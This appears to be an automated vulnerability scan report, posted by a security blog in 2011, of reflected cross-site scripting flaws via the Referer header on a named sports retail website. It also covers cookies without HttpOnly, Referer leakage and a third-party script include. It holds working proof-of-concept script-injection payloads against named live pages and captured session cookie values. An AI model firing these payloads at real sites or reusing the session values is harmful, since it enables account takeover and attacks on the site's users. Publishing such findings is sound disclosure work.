CWE-79, CAPEC-86, XSS, Referrer HTTP Header, Cross Site Scripting, www.espnshop.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX Research Blog at Sat Mar 05 11:22:25 CST 2011.


Loading

1. Cross-site scripting (reflected)

1.1. http://www.espnshop.com/ [Referer HTTP header]

1.2. http://www.espnshop.com/family/index.jsp [Referer HTTP header]

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

4. Cross-domain script include



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.espnshop.com/ [Referer HTTP header]  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.espnshop.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbff4"><script>alert(1)</script>4ecff407bde was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Host: www.espnshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: dbff4"><script>alert(1)</script>4ecff407bde

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:12:51 GMT
Server: Apache/2.0.63 (Unix)
Cache-Control: no-cache="set-cookie"
Pragma: no-cache
P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml"
Set-Cookie: JSESSIONID=WTLvNlJTDtF21MKvb2SHJwPkRj6x8b1YBqhR05Ll4C2v1CX1gL11!-1678667533; path=/
Set-Cookie: browser_id=121983128284; expires=Saturday, 20-Feb-2021 23:12:51 GMT; path=/
Set-Cookie: browser_id=121983128284; expires=Saturday, 20-Feb-2021 23:12:51 GMT; path=/
Set-Cookie: browser_id=121983128284; expires=Saturday, 20-Feb-2021 23:12:51 GMT; path=/
Set-Cookie: browser_id=121983128284; expires=Saturday, 20-Feb-2021 23:12:51 GMT; path=/
Set-Cookie: browser_id=121983128284; expires=Saturday, 20-Feb-2021 23:12:51 GMT; path=/
Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 99408

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<!--Preview TimeZone = 'null' --><!--Preview TimeZone = 'Amer
...[SNIP]...
<IFRAME src="http://fls.doubleclick.net/activityi;src=2898044;type=homep506;cat=homep686;u1=;u2=1;u3=;u4=;u5=dbff4"><script>alert(1)</script>4ecff407bde;u6=;u7=;ord=1;num=1964877?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0>
...[SNIP]...

1.2. http://www.espnshop.com/family/index.jsp [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.espnshop.com
Path:   /family/index.jsp

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8122"><script>alert(1)</script>a4e893c3c6d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /family/index.jsp HTTP/1.1
Host: www.espnshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: d8122"><script>alert(1)</script>a4e893c3c6d

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:10:32 GMT
Server: Apache/2.0.63 (Unix)
Cache-Control: no-cache="set-cookie"
Pragma: no-cache
P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml"
Set-Cookie: JSESSIONID=lWYRNlTLGNR9jn9VGyyTTgTJMVLK6GvkY3pPW5srfPChNGdZ6zG8!-621544071; path=/
Set-Cookie: browser_id=121983342444; expires=Saturday, 20-Feb-2021 23:10:32 GMT; path=/
Set-Cookie: browser_id=121983342444; expires=Saturday, 20-Feb-2021 23:10:32 GMT; path=/
Set-Cookie: browser_id=121983342444; expires=Saturday, 20-Feb-2021 23:10:32 GMT; path=/
Set-Cookie: browser_id=121983342444; expires=Saturday, 20-Feb-2021 23:10:32 GMT; path=/
Set-Cookie: browser_id=121983342444; expires=Saturday, 20-Feb-2021 23:10:32 GMT; path=/
Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 99409

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<!--Preview TimeZone = 'null' --><!--Preview TimeZone = 'Amer
...[SNIP]...
<IFRAME src="http://fls.doubleclick.net/activityi;src=2898044;type=homep506;cat=homep686;u1=;u2=1;u3=;u4=;u5=d8122"><script>alert(1)</script>a4e893c3c6d;u6=;u7=;ord=1;num=85317957?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0>
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.espnshop.com
Path:   /family/index.jsp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /family/index.jsp HTTP/1.1
Host: www.espnshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 23 Feb 2011 23:10:18 GMT
Server: Apache/2.0.63 (Unix)
Cache-Control: no-cache="set-cookie"
Pragma: no-cache
Location: http://www.espnshop.com/home/index.jsp
P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml"
Set-Cookie: JSESSIONID=bPhgNlThwHD2MLlfyWQsGGpGvTLtpSDHkTJXhgH4PLhm9hWm4tc2!847145031; path=/
Set-Cookie: browser_id=121983072214; expires=Saturday, 20-Feb-2021 23:10:18 GMT; path=/
Set-Cookie: browser_id=121983072214; expires=Saturday, 20-Feb-2021 23:10:18 GMT; path=/
Set-Cookie: browser_id=121983072214; expires=Saturday, 20-Feb-2021 23:10:18 GMT; path=/
Set-Cookie: browser_id=121983072214; expires=Saturday, 20-Feb-2021 23:10:18 GMT; path=/
Set-Cookie: browser_id=121983072214; expires=Saturday, 20-Feb-2021 23:10:18 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 271

<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a href="http://www.espnshop.com/home/index
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.espnshop.com
Path:   /family/index.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /family/index.jsp?categoryId=4471902&cp=4471901&source=ESPN_TEDINTEGRATOR:DVDS02_09_10 HTTP/1.1
Host: www.espnshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:10:19 GMT
Server: Apache/2.0.63 (Unix)
Cache-Control: no-cache="set-cookie"
Pragma: no-cache
P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml"
Set-Cookie: browser_id=121983248404; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: browser_id=121983248424; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: browser_id=121983248434; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: browser_id=121983248454; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: JSESSIONID=pLBJNlTbCXm427bqF80dyZBzCrzdd2Q4Zt4r4yJ4Bbv95JgDJPvq!-491949586; path=/
Set-Cookie: browser_id=121983248464; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 119889

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!--Preview TimeZone = 'null' --><!--Preview TimeZon
...[SNIP]...
<!--link href="http://ESPN.imageg.net/include/store.css" rel="stylesheet" type="text/css" -->

<link rel="stylesheet" type="text/css" href="http://ESPN.imageg.net/include/cardinal.css">


<script language="Javascript">
...[SNIP]...
<!--link href="http://ESPN.imageg.net../include/nosearchresults.css" rel="stylesheet" type="text/css" -->
<link href="http://ESPN.imageg.net/include/global.css" rel="stylesheet" type="text/css" media="screen" />

<link href="http://ESPN.imageg.net/include/search.css" rel="stylesheet" type="text/css" media="screen" />
<link href="http://ESPN.imageg.net/include/cufon.css" rel="stylesheet" type="text/css" media="screen" />
   <!--[if lt IE 7]>
...[SNIP]...
</script>

<script language="JavaScript" type="text/javascript" src="http://ESPN.imageg.net/include/shoprunner/js/shoprunner_init.js"></script>
...[SNIP]...
</script>

<link rel="stylesheet" type="text/css" href="http://ESPN.imageg.net/include/shoprunner/css/shoprunner.css" />


<div id="emailSignupPopup">
...[SNIP]...
<li class="border-right" >
       <a href="http://espn.go.com" target="_blank">espn.com</a>
...[SNIP]...
d=4471902&pageType=family&page_bucket=0&pageNum=1&pageCount=3&isSearchItemsHeader=true&int_nextBucket=0&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&totalProductsCount=28&page=2&pageBucket=0&doVSearch=no"><img src="http://ESPN.imageg.net/images/search_rightarrow.gif" width="11" height="11" align="absmiddle" border="0"></a>
...[SNIP]...
vascript:location.href="/product/index.jsp?productId=11288964&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=11288964"><img src="http://ESPN.imageg.net/graphics/product_images/p9671032reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30 Limited Edition Gift Set - Vol 1 & Vol 2 - ESPN Shop' title='ESPN Films 30 for 30 Limited Edition Gift Set - Vol 1 & Vol 2 - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4416392&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4416392"><img src="http://ESPN.imageg.net/graphics/product_images/p8527390reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN 30 For 30 Limited Edition Gift Set - Volume 1 - ESPN Shop' title='ESPN 30 For 30 Limited Edition Gift Set - Volume 1 - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
vascript:location.href="/product/index.jsp?productId=11278317&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=11278317"><img src="http://ESPN.imageg.net/graphics/product_images/p9658883reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30 Limited Edition Gift Set - Volume 2 - Free ESPN T-Shirt Included! - ESPN Shop' title='ESPN Films 30 for 30 Limited Edition Gift Set - Volume 2 - Free ESPN T-Shirt Included! - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249558&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249558"><img src="http://ESPN.imageg.net/graphics/product_images/p8002141reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: King&#39;s Ransom - ESPN Shop' title='ESPN Films 30 for 30: King&#39;s Ransom - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249560&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249560"><img src="http://ESPN.imageg.net/graphics/product_images/p8002215reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: Guru of Go - ESPN Shop' title='ESPN Films 30 for 30: Guru of Go - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
vascript:location.href="/product/index.jsp?productId=10893239&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=10893239"><img src="http://ESPN.imageg.net/graphics/product_images/p8977087reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: Tim Richmond - To The Limit - ESPN Shop' title='ESPN Films 30 for 30: Tim Richmond - To The Limit - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249559&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249559"><img src="http://ESPN.imageg.net/graphics/product_images/p8002214reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: No Crossover: The Trial of Allen Iverson - ESPN Shop' title='ESPN Films 30 for 30: No Crossover: The Trial of Allen Iverson - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249557&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249557"><img src="http://ESPN.imageg.net/graphics/product_images/p8002140reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: The Band That Wouldn&#39;t Die - ESPN Shop' title='ESPN Films 30 for 30: The Band That Wouldn&#39;t Die - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249556&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249556"><img src="http://ESPN.imageg.net/graphics/product_images/p8002139reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: Small Potatoes: Who Killed The USFL? - ESPN Shop' title='ESPN Films 30 for 30: Small Potatoes: Who Killed The USFL? - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249555&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249555"><img src="http://ESPN.imageg.net/graphics/product_images/p8002137reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: Muhammad & Larry - ESPN Shop' title='ESPN Films 30 for 30: Muhammad & Larry - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249554&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249554"><img src="http://ESPN.imageg.net/graphics/product_images/p8002135reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: The Legend of Jimmy the Greek - ESPN Shop' title='ESPN Films 30 for 30: The Legend of Jimmy the Greek - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
javascript:location.href="/product/index.jsp?productId=4249553&cp=4471901.4471902&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&parentPage=family";return false;' href="/product/index.jsp?productId=4249553"><img src="http://ESPN.imageg.net/graphics/product_images/p8002131reg.jpg" hspace=10 width=220 height=220 border=0 alt='ESPN Films 30 for 30: Without Bias - ESPN Shop' title='ESPN Films 30 for 30: Without Bias - ESPN Shop' border="0" style="display:block;"/></a>
...[SNIP]...
4471902&pageType=family&page_bucket=0&cp=4471901&pageCount=3&isSearchItemsHeader=false&int_nextBucket=0&source=ESPN_TEDINTEGRATOR%3ADVDS02_09_10&totalProductsCount=28&page=2&pageBucket=0&doVSearch=no"><img src="http://ESPN.imageg.net/images/search_rightarrow.gif" width="11" height="11" align="absmiddle" border="0"></a>
...[SNIP]...

4. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.espnshop.com
Path:   /family/index.jsp

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /family/index.jsp?categoryId=4471902&cp=4471901&source=ESPN_TEDINTEGRATOR:DVDS02_09_10 HTTP/1.1
Host: www.espnshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 23 Feb 2011 23:10:19 GMT
Server: Apache/2.0.63 (Unix)
Cache-Control: no-cache="set-cookie"
Pragma: no-cache
P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml"
Set-Cookie: browser_id=121983248404; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: browser_id=121983248424; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: browser_id=121983248434; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: browser_id=121983248454; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: JSESSIONID=pLBJNlTbCXm427bqF80dyZBzCrzdd2Q4Zt4r4yJ4Bbv95JgDJPvq!-491949586; path=/
Set-Cookie: browser_id=121983248464; expires=Saturday, 20-Feb-2021 23:10:19 GMT; path=/
Set-Cookie: sr_token=null; expires=Thursday, 01-Jan-1970 01:00:00 GMT; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Vary: Accept-Encoding
X-UA-Compatible: IE=EmulateIE7
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 119889

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!--Preview TimeZone = 'null' --><!--Preview TimeZon
...[SNIP]...
</script>

<script language="JavaScript" type="text/javascript" src="http://ESPN.imageg.net/include/shoprunner/js/shoprunner_init.js"></script>
...[SNIP]...

Report generated by XSS.CX Research Blog at Sat Mar 05 11:22:25 CST 2011.